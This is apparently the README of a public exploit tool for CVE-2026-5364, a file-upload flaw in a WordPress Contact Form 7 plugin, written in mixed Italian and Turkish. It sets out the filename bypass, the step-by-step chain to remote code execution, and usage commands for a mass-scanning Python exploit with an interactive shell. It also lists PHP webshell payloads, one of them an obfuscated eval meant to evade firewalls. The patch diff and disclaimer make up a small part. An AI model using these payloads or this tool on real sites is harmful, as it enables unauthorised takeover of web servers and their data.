
CVE-2026-5364 è una vulnerabilità di upload arbitrario di file non autenticato, con punteggio CVSS 8.1 (Alta), nel plugin Drag and Drop File Upload for Contact Form 7.
CVE-2026-5364 è una vulnerabilità di upload arbitrario di file non autenticato con punteggio CVSS 8.1 (Alto) nel plugin Drag and Drop File Upload for Contact Form 7
Upload arbitrario di file non autenticato tramite bypass di
sanitize_file_name()CVSS 8.1 (Alto) | Versioni interessate: <= 1.1.3 | Versione corretta: 1.1.4
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (Alto) |
| Vettore | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Versioni interessate | <= 1.1.3 |
| Versione corretta | 1.1.4 |
| Ricercatore | Thomas Sanzey |
| Pubblicazione | 23 aprile 2026 |
Il plugin legge l'estensione del file prima della sanificazione di sanitize_file_name().
Un attaccante carica un file chiamato shell.php$:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← blacklist'i atlatır
sanitize_file_name('shell.php$') → 'shell.php' ← PHP olarak kaydedilir
Una catena di tre debolezze indipendenti:
type viene letto dall'utentepathinfo() viene applicato al nome file grezzosanitize_file_name() all'interno di wp_unique_filename() rimuove il carattere $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com
# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"
# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive
# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD OS komutu (varsayılan: id)
--shell TYPE Webshell tipi: basic|exec|pass|eval|info
-i, --interactive İnteraktif shell aç
--no-skip-patched Yamalı sürümleri de dene
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy adresi
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Caratteri rimossi da sanitize_file_name():
$ % ~ ` (boşluk)
Lo strumento prova automaticamente tutti i caratteri di bypass.
Aggiornare il plugin alla versione 1.1.4 o successiva.
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
Questo strumento è stato sviluppato solo per ricerche sulla sicurezza a scopo educativo e difensivo. L'uso su sistemi non autorizzati è vietato e può avere conseguenze legali. Utilizzatelo solo su sistemi per i quali avete ottenuto l'autorizzazione.
| Tipo | Payload | Utilizzo |
|---|
basic | <?php system($_GET["cmd"]); ?> | Scopo generale |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Output completo |
pass | <?php passthru($_GET["cmd"]); ?> | Output binario |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Furtivo/bypass WAF |
info | <?php phpinfo(); ?> | Informazioni PHP |
| Fattore | Effetto |
|---|
Apache .htaccess (Content-Disposition: attachment) | Impedisce l'esecuzione di PHP |
| Nginx / LiteSpeed | .htaccess non valido — RCE possibile |
Nome file casuale (uniqid()) | Inefficace perché la risposta AJAX restituisce l'URL |
| Nonce | Protezione CSRF — non autenticazione, inefficace |